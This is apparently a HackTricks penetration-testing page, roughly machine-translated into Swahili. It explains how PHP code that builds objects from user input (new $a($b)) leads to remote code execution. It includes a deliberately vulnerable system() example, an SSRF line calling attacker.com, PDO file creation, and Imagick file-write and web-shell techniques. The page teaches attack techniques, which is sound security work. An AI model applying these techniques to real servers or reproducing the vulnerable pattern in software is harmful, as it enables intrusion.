PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Hii ni muhtasari wa https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Utangulizi

Uundaji wa vitu vipya vya kiholela, kama new $_GET["a"]($_GET["a"]), unaweza kusababisha Utekelezaji wa Msimbo wa K remote (RCE), kama ilivyoelezwa katika andika. Hati hii inasisitiza mikakati mbalimbali za kufikia RCE.

RCE kupitia Madarasa ya Kawaida au Autoloading

Sintaksia new $a($b) inatumika kuunda kitu ambapo $a inawakilisha jina la darasa na $b ni hoja ya kwanza inayopitishwa kwa mjenzi. Vigezo hivi vinaweza kupatikana kutoka kwa ingizo la mtumiaji kama GET/POST, ambapo vinaweza kuwa nyuzi au orodha, au kutoka JSON, ambapo vinaweza kuonekana kama aina nyingine.

Fikiria kipande cha msimbo kilichopo hapa chini:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Katika hali hii, kuweka $a kuwa App au App2 na $b kuwa amri ya mfumo (kwa mfano, uname -a) kunasababisha utekelezaji wa amri hiyo.

Mifumo ya Autoloading inaweza kutumika vibaya ikiwa hakuna madarasa kama hayo yanayopatikana moja kwa moja. Mifumo hii inasababisha madarasa kupakuliwa moja kwa moja kutoka kwa faili inapohitajika na inafafanuliwa kwa kutumia spl_autoload_register au __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Tabia ya autoloading inatofautiana kulingana na toleo la PHP, ikitoa uwezekano tofauti wa RCE.

RCE kupitia Madarasa ya Msingi

Kukosa madarasa ya kawaida au autoloaders, madarasa ya msingi ya PHP yanaweza kutosha kwa RCE. Idadi ya madarasa haya inatofautiana kati ya 100 hadi 200, kulingana na toleo la PHP na nyongeza. Inaweza kuorodheshwa kwa kutumia get_declared_classes().

Mifano ya wakandarasi wanaovutia inaweza kutambuliwa kupitia API ya reflection, kama inavyoonyeshwa katika mfano ufuatao na kiungo https://3v4l.org/2JEGF.

RCE kupitia mbinu maalum inajumuisha:

SSRF + Phar Deserialization

Darasa la SplFileObject linawezesha SSRF kupitia wakandarasi wake, likiruhusu muunganisho na URL yoyote:

php
new SplFileObject('http://attacker.com/');

SSRF inaweza kusababisha mashambulizi ya deserialization katika matoleo ya PHP kabla ya 8.0 kwa kutumia itifaki ya Phar.

Kunutumia PDOs

Mjenzi wa darasa la PDO unaruhusu muunganisho na hifadhidata kupitia nyuzi za DSN, ambayo inaweza kuwezesha uundaji wa faili au mwingiliano mwingine:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Matoleo ya PHP hadi 5.3.22 na 5.4.12 yalikuwa na hatari ya mashambulizi ya XXE kupitia waandishi wa SoapClient na SimpleXMLElement, kulingana na toleo la libxml2.

RCE kupitia Imagick Extension

Katika uchambuzi wa mategemeo ya mradi, iligundulika kwamba Imagick inaweza kutumika kwa kutekeleza amri kwa kuunda vitu vipya. Hii inatoa fursa ya kutumia udhaifu.

VID parser

Uwezo wa VID parser wa kuandika maudhui kwenye njia yoyote iliyoainishwa katika mfumo wa faili ulitambuliwa. Hii inaweza kusababisha kuwekwa kwa shell ya PHP katika saraka inayoweza kufikiwa kupitia wavuti, ikipata Remote Code Execution (RCE).

VID Parser + Upakiaji wa Faili

Imepangwa kwamba PHP inahifadhi kwa muda faili zilizopakiwa katika /tmp/phpXXXXXX. VID parser katika Imagick, ikitumia protokali ya msl, inaweza kushughulikia wildcards katika njia za faili, ikirahisisha uhamishaji wa faili ya muda kwenda mahali ulipochagua. Njia hii inatoa mbinu ya ziada ya kufikia uandishi wa faili bila mpangilio ndani ya mfumo wa faili.

PHP Crash + Brute Force

Mbinu iliyoelezwa katika andiko la asili inahusisha kupakia faili zinazochochea kuanguka kwa seva kabla ya kufutwa. Kwa kutumia brute-force jina la faili ya muda, inakuwa inawezekana kwa Imagick kutekeleza msimbo wa PHP bila mpangilio. Hata hivyo, mbinu hii iligundulika kuwa na ufanisi tu katika toleo la zamani la ImageMagick.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks